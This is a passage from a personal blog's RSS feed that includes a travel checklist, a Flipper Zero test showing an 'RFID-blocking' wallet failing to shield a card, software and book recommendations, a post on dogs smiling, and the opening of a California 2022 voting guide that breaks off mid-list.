&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Indigestion medicine&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;night-before-travel&#34;&gt;Night before travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Put passport card in bag&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Put backup credit card in bag &lt;sup id=&#34;fnref:15&#34;&gt;&lt;a href=&#34;#fn:15&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;15&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Set wake-up alarm&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge laptop&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge iPhone&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge iPad&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge Apple Watch&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge AirPods&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge Switch&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Remove TSA-unfriendly stuff from bag &lt;sup id=&#34;fnref:16&#34;&gt;&lt;a href=&#34;#fn:16&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;16&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack USB battery&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack passport book in suitcase &lt;sup id=&#34;fnref1:15&#34;&gt;&lt;a href=&#34;#fn:15&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;15&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack handkerchief&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack food bar&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack AirPods&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack Switch&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack magazine for plane &lt;sup id=&#34;fnref1:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack boarding passes&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack sunglasses&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack journal&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;day-of-travel&#34;&gt;Day of travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Wear my Apple Watch&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Turn on Fog of World &lt;sup id=&#34;fnref:17&#34;&gt;&lt;a href=&#34;#fn:17&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;17&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Set the thermostat to vacation mode &lt;sup id=&#34;fnref:18&#34;&gt;&lt;a href=&#34;#fn:18&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;18&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack laptop charger&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack iPhone charging cable&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack iPad charging cable&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack Apple Watch charging cable&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack USB charger&#39;s charging cable&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack AirPods charging cable&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack multi-device charger&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack laptop&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack iPhone&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack iPad&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack pillow&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Buy airport stickers &lt;sup id=&#34;fnref:19&#34;&gt;&lt;a href=&#34;#fn:19&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;19&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-day-before-return&#34;&gt;The day before return&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check in to return flight&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-day-of-return&#34;&gt;The day of return&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Buy airport stickers&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Set the thermostat to normal mode&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Put away passports&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Update the travel template &lt;sup id=&#34;fnref:20&#34;&gt;&lt;a href=&#34;#fn:20&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;20&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;after-return&#34;&gt;After return&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Submit travel reimbursement request &lt;sup id=&#34;fnref:21&#34;&gt;&lt;a href=&#34;#fn:21&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;21&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Look for travel reimbursement check &lt;sup id=&#34;fnref:22&#34;&gt;&lt;a href=&#34;#fn:22&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;22&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;This seems obvious but I always forget.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;If you don&#39;t do this, your bank may see transactions from an unusual location and freeze your debit or credit card.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;I&#39;ve never regretted having walking around money while traveling.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;If I didn&#39;t have something to read on a flight, I&#39;d lose my mind.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref1:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Yes, the Thai curry native-extra-hot is delicious. Do you really want to be trapped in a plane while your stomach tries to digest it?&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;I take a plug-in charging block and a portable USB battery. If my phone is running low in the middle of a long flight, I can still charge it with the battery.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:7&#34;&gt;
&lt;p&gt;It&#39;s vacation. I want to throw on a hat to step out for coffee or breakfast.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:8&#34;&gt;
&lt;p&gt;Ideal for covering obnoxiously bright power LEDs in hotel rooms, blocking light under the door, etc.&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:9&#34;&gt;
&lt;p&gt;If it&#39;s too bumpy to read, it&#39;s nice to have something fun or relaxing to listen to.&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:10&#34;&gt;
&lt;p&gt;See &amp;quot;&lt;a href=&#34;https://www.artofmanliness.com/lifestyle/gear/building-the-perfect-dopp-kit/&#34;&gt;Building the Perfect Dopp Kit&lt;/a&gt;&amp;quot;.&amp;#160;&lt;a href=&#34;#fnref:10&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:11&#34;&gt;
&lt;p&gt;Hotel curtains never seem to close all the way. Bend them to your will.&amp;#160;&lt;a href=&#34;#fnref:11&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:12&#34;&gt;
&lt;p&gt;Ever been rained on, had to walk around a lot in wet pants, and gotten chafed from it? Yeah, me neither.&amp;#160;&lt;a href=&#34;#fnref:12&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:13&#34;&gt;
&lt;p&gt;&amp;quot;Ow, these new shoes are killing my feet and I&#39;m walking way more than usual.&amp;quot;&amp;#160;&lt;a href=&#34;#fnref:13&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:14&#34;&gt;
&lt;p&gt;Jet lag. Strange hotel. Travel excitement. These add up to difficulty sleeping.&amp;#160;&lt;a href=&#34;#fnref:14&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:15&#34;&gt;
&lt;p&gt;Carry at least 2 forms of ID and 2 forms of payment in 2 separate places. If 1 set gets stolen, you still have the other to get home.&amp;#160;&lt;a href=&#34;#fnref:15&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref1:15&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:16&#34;&gt;
&lt;p&gt;I have a &lt;a href=&#34;https://www.leatherman.com/micra-20.html&#34;&gt;tiny multi-tool&lt;/a&gt; in my EDC bag, and I don&#39;t want the TSA to confiscate it.&amp;#160;&lt;a href=&#34;#fnref:16&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:17&#34;&gt;
&lt;p&gt;This is a &lt;a href=&#34;https://fogofworld.app/en/&#34;&gt;fun little app&lt;/a&gt; that records everywhere you&#39;ve been.&amp;#160;&lt;a href=&#34;#fnref:17&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:18&#34;&gt;
&lt;p&gt;Save money not heating or cooling your house as much while you&#39;re away from it.&amp;#160;&lt;a href=&#34;#fnref:18&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:19&#34;&gt;
&lt;p&gt;I collect them for my carryon suitcase. This is in here twice in case I have a different layover on the way home.&amp;#160;&lt;a href=&#34;#fnref:19&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:20&#34;&gt;
&lt;p&gt;I take notes of things I wish I&#39;d done or packed. When I get home I immediately update the list so that I won&#39;t forget next time.&amp;#160;&lt;a href=&#34;#fnref:20&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:21&#34;&gt;
&lt;p&gt;Do it while you still have all the receipts in one place.&amp;#160;&lt;a href=&#34;#fnref:21&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:22&#34;&gt;
&lt;p&gt;Once the office has reimbursed me, the trip is officially done.&amp;#160;&lt;a href=&#34;#fnref:22&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
      
    </item>
    
    <item>
      <title>Muradin wallet doesn&#39;t block RFID</title>
      <link>https://honeypot.net/post/muradin-wallet-doesnt-block-rfid/</link>
      <pubDate>Thu, 05 Jan 2023 19:03:45 +0000</pubDate>
      
      <guid>https://honeypot.net/post/muradin-wallet-doesnt-block-rfid/</guid>
      
        <description>&lt;p&gt;My wife bought me a cool &lt;a href=&#34;https://muradingear.com/collections/v03-tactical-wallet/products/v03-dapper-slim-rfid-blocking-wallet-deep-taupe-tree-pattern&#34;&gt;Muradin RFID-blocking wallet&lt;/a&gt; for Christmas. I like it a lot, except for the fact that it doesn&#39;t actually block RFID if you use it as advertised.&lt;/p&gt;
&lt;p&gt;The wallet has a roomy inside &amp;quot;cage&amp;quot; for storing cards, and an external pocket for storing your &amp;quot;frequently used card&amp;quot;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./advertised_usage.jpg&#34; alt=&#34;The wallet with a credit card in the outside pocket.&#34;&gt;&lt;/p&gt;
&lt;p&gt;That&#39;s not just my interpretation of the photo. The site goes on to explicitly say that the outside pocket is for your card:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./frequently_used_card.jpg&#34; alt=&#34;A credit card in the &amp;quot;FUC (frequently used card) exterior pocket&amp;quot;&#34;&gt;&lt;/p&gt;
&lt;p&gt;But what does our handy dandy &lt;a href=&#34;https://flipperzero.one&#34;&gt;Flipper Zero&lt;/a&gt; think of the wallet&#39;s claim? Not much. It had no trouble reading the numbers off my debit card in the &amp;quot;FUC exterior pocket&amp;quot;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./debit_card_upright.jpg&#34; alt=&#34;A Flipper Zero showing redacted credit card info.&#34;&gt;&lt;/p&gt;
&lt;p&gt;To see if orientation mattered, I rotated my card 180º and tried again. It didn&#39;t matter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./debit_card_flipped.jpg&#34; alt=&#34;A Flipper Zero showing more redacted credit card info.&#34;&gt;&lt;/p&gt;
&lt;p&gt;I went on to test with single cards inside the inner compartment. If the card was against the back of the wallet, as far as possible from the protective flap, the Flipper Zero couldn&#39;t detect it.&lt;/p&gt;
&lt;p&gt;If the card was on top of some non-RFID contents, like a few folded dollar bills, so that it was about halfway down inside the inner compartment, I could tell with about 90% reliability whether the card was a Visa or American Express:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./look_visa.jpg&#34; alt=&#34;A Visa card is inside the wallet.&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./look_amex.jpg&#34; alt=&#34;Now an American Express card is inside the wallet.&#34;&gt;&lt;/p&gt;
&lt;p&gt;If the card was on top of several pieces of non-RFID content, and pushed up to the top of the inner compartment, I could scan its number &lt;em&gt;through the &amp;quot;RFID-blocking&amp;quot; wallet&lt;/em&gt; about 50% of the time, depending on the card.&lt;/p&gt;
&lt;p&gt;This wallet doesn&#39;t work. Its RFID-blocking claim is somewhere between misleading and an outright lie. Don&#39;t buy it.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Happy 2023!</title>
      <link>https://honeypot.net/post/happy-2023/</link>
      <pubDate>Sun, 01 Jan 2023 18:52:26 +0000</pubDate>
      
      <guid>https://honeypot.net/post/happy-2023/</guid>
      
        <description>&lt;p&gt;2022 was a whirlwind of disasters, plagues, wars, elections, recession, inflation, and other stressors. It was a challenging year. If it had a theme, it would be &amp;quot;oh, &lt;em&gt;now&lt;/em&gt; what?&amp;quot; However, we survived it, even if bruised and scarred.&lt;/p&gt;
&lt;p&gt;This year is going to be better. I know it.&lt;/p&gt;
&lt;p&gt;Happy 2023!&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>SteerMouse makes my Logitech mouse better</title>
      <link>https://honeypot.net/post/steermouse-makes-logitech-mouse-better/</link>
      <pubDate>Thu, 08 Dec 2022 11:24:38 +0000</pubDate>
      
      <guid>https://honeypot.net/post/steermouse-makes-logitech-mouse-better/</guid>
      
        <description>&lt;p&gt;I bought a &lt;a href=&#34;https://www.amazon.com/gp/product/B07FNJB8TT/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B07FNJB8TT&amp;amp;linkCode=as2&amp;amp;tag=honeypot05-20&amp;amp;linkId=9e9e0d372408b4556cab60627b288800&#34;&gt;Logitech MX Vertical Wireless Mouse&lt;/a&gt; &lt;a href=&#34;https://honeypot.net/post/pain-free-with-logitech-mx-vertical-mouse/&#34;&gt;last year&lt;/a&gt;. The mouse itself remains delightful and my carpal tunnel aches have disappeared. I&#39;m a fan.&lt;/p&gt;
&lt;p&gt;Logitech&#39;s &amp;quot;Options&amp;quot; (and newer &amp;quot;Options+&amp;quot;) driver software isn&#39;t as lovely. Besides its odd issues, such as old versions being &lt;a href=&#34;https://support.logi.com/hc/en-my/articles/360037899233&#34;&gt;incompatible with FileVault&lt;/a&gt;, it&#39;s a &amp;quot;large&amp;quot; app for something that mainly maps button presses to actions. It has a jarring, non-Mac-like interface, and supports a lot of features I&#39;ll never use.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href=&#34;https://plentycom.jp/en/steermouse/&#34;&gt;SteerMouse&lt;/a&gt;. Let&#39;s get the price out of the way: yes, I&#39;m talking about a $20 app to replace the free one that comes with my mouse. It&#39;s worth it. SteerMouse &lt;em&gt;only&lt;/em&gt; configures the mouse speed, button-to-action mapping things, and other directly mouse-related settings, and it does it well. It&#39;s installed as a System Settings pane, looking and feeling almost like it shipped with the computer. Unlike Options, it doesn&#39;t like to call home to its maker (thanks, &lt;a href=&#34;https://www.obdev.at/products/littlesnitch/index.html&#34;&gt;Little Snitch&lt;/a&gt;!), and it lets me map the top button to a helpful action (instead of using it to switch between 2 speed settings, which I never once did).&lt;/p&gt;
&lt;p&gt;In short, buy it. It&#39;s better, lighter, more native, and more private than Logitech&#39;s software. Even at $20, I recommend it.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Audrey Auden&#39;s &#34;The Voice in All&#34;</title>
      <link>https://honeypot.net/post/audrey-auden-the-voice-in-all/</link>
      <pubDate>Wed, 30 Nov 2022 16:35:26 +0000</pubDate>
      
      <guid>https://honeypot.net/post/audrey-auden-the-voice-in-all/</guid>
      
        <description>&lt;p&gt;I read &lt;a href=&#34;https://audreyauden.com&#34;&gt;Audrey Auden&lt;/a&gt;&#39;s new book, &amp;quot;&lt;a href=&#34;https://www.amazon.com/Voice-All-Audrey-Auden-ebook/dp/B0BJQX1F26&#34;&gt;The Voice in All&lt;/a&gt;&amp;quot;, the first in her new &amp;quot;The Artifex and the Muse&amp;quot; series. Auden creates a lush, complex world filled with interesting, multifaceted residents. Tantalizing glimpses of science fiction sneak into the fantasy setting, hinting at a rich universe for the rest of the series. &amp;quot;The Voice in All&amp;quot; packs a surprising amount of development and story into a quick, fun book. Auden&#39;s piqued my interest and I&#39;m looking forward to the next installments.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Easily delete your Twitter account the hard way</title>
      <link>https://honeypot.net/post/easily-delete-twitter-account-hard-way/</link>
      <pubDate>Sun, 20 Nov 2022 10:02:00 +0000</pubDate>
      
      <guid>https://honeypot.net/post/easily-delete-twitter-account-hard-way/</guid>
      
        <description>&lt;p&gt;The folks at &lt;a href=&#34;https://consciousdigital.org/&#34;&gt;Conscious Digital&lt;/a&gt; have a nifty website, &lt;a href=&#34;https://yourdigitalrights.org/&#34;&gt;yourdigitalrights.org&lt;/a&gt;, that makes it easy to file a CCPA or GDPR request asking a website to remove all of your data.&lt;/p&gt;
&lt;p&gt;In particular, they make it easy to &lt;a href=&#34;https://yourdigitalrights.org/d/twitter.com&#34;&gt;delete all your Twitter data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Delete your account, regain your privacy, and cause someone an administrative hassle with a single click. It’s perfect!&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Of course dogs smile</title>
      <link>https://honeypot.net/post/of-course-dogs-smile/</link>
      <pubDate>Sun, 02 Oct 2022 23:29:21 +0000</pubDate>
      
      <guid>https://honeypot.net/post/of-course-dogs-smile/</guid>
      
        <description>&lt;p&gt;&lt;img src=&#34;laughing-keeva.jpg&#34; alt=&#34;Keeva heard a funny joke&#34;&gt;&lt;/p&gt;
&lt;p&gt;I hang out on parts of the Internet where people often post pictures of happy animals. All too often, someone will share a photo of their smiling pooch, and a viewer who wants to sound smart will feel obligated to add a comment like &amp;quot;dogs can&#39;t smile.&amp;quot; Their arguments reduce to one of several claims:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Statement:&lt;/em&gt; They&#39;re not smiling. They&#39;re using the muscles in their face to pull the corners of their lips up.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Rebuttal:&lt;/em&gt; Yes, that&#39;s how smiling works. You&#39;ve just described the physical act of smiling.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Statement:&lt;/em&gt; Dogs do that to show fear or nervousness.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Rebuttal:&lt;/em&gt; Perhaps it can also mean that, but when my dog snuggles up against me and I gently pat her head, she&#39;s not exactly terrified.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Statement:&lt;/em&gt; That&#39;s an automatic response to scratching or patting them in specific places.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Rebuttal:&lt;/em&gt; When I scratch those spots, it feels good and they smile. Got it.&lt;/p&gt;
&lt;p&gt;To most dog owners, the notion that a dog can&#39;t smile is as laughable as telling a cat owner that their fuzzy pets can&#39;t purr. They can. Lots of happy dogs do this all the time. And while cats can be notoriously finicky, dogs can be thrilled when you say their name or look at them. We&#39;ve bred them for thousands of years to be friendly and sociable. The smile-doubters have somehow never managed to make a dog — &lt;em&gt;a dog!&lt;/em&gt; — happy to have them around.&lt;/p&gt;
&lt;p&gt;I pity those people but also distrust them. What does every dog in their life know about them that we don&#39;t?&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>California 2022 Midterms Voting Guide</title>
      <link>https://honeypot.net/post/california-2022-midterms-voting-guide/</link>
      <pubDate>Thu, 29 Sep 2022 21:54:42 +0000</pubDate>
      
      <guid>https://honeypot.net/post/california-2022-midterms-voting-guide/</guid>
      
        <description>&lt;p&gt;These are my recommendations for the November 8, 2022 midterm election in California.&lt;/p&gt;
&lt;h1 id=&#34;propositions&#34;&gt;Propositions&lt;/h1&gt;
&lt;p&gt;Direct democracy looks like a great idea on paper. In practice, we end up with awful laws like &lt;a href=&#34;https://en.wikipedia.org/wiki/2008_California_Proposition_8&#34;&gt;Prop 8&lt;/a&gt;. Because it&#39;s so hard to remove bad propositions once they&#39;re approved, it&#39;s better to vote &amp;quot;no&amp;quot; on ballot propositions you&#39;re unsure about. If it&#39;s a great idea — or even a bad one, in the case of Prop 29&#39;s predecessors — the proposers can try again in a later election. You can always￼ choose to approve it next time.&lt;/p&gt;
&lt;h2 id=&#34;proposition-1--reproductive-freedom&#34;&gt;Proposition 1 — Reproductive Freedom&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt; Explicitly protect abortion rights at the state constitution level.&lt;/p&gt;
&lt;h2 id=&#34;proposition-26--casino-sports-betting&#34;&gt;Proposition 26 — Casino Sports Betting&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt; This isn&#39;t so important that we need to write it into law.&lt;/p&gt;
&lt;h2 id=&#34;proposition-27--online-sports-betting&#34;&gt;Proposition 27 — Online Sports Betting&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt; This isn&#39;t so important that we need to write it into law. Note that some advertising makes it sound like you have to pick one of Prop 26 or Prop 27. That&#39;s untrue, and you can vote &amp;quot;no&amp;quot; or &amp;quot;yes&amp;quot; to either, both, or neither, as you wish.&lt;/p&gt;
&lt;h2 id=&#34;proposition-28--school-arts&#34;&gt;Proposition 28 — School Arts&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt; California has decent support for STEM education. We should also support creative arts. We have a record budget surplus and should invest in all our students.&lt;/p&gt;
&lt;h2 id=&#34;proposition-29--dialysis-clinics&#34;&gt;Proposition 29 — Dialysis Clinics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No, and stop asking.&lt;/strong&gt; This terrible idea keeps arising every couple of years. We&#39;ve said repeatedly that we don&#39;t want to enshrine this mistake into the California constitution, and we still don&#39;t.&lt;/p&gt;
&lt;h2 id=&#34;proposition-30--electric-vehicle-subsidies&#34;&gt;Proposition 30 — Electric Vehicle Subsidies&lt;/h2&gt;
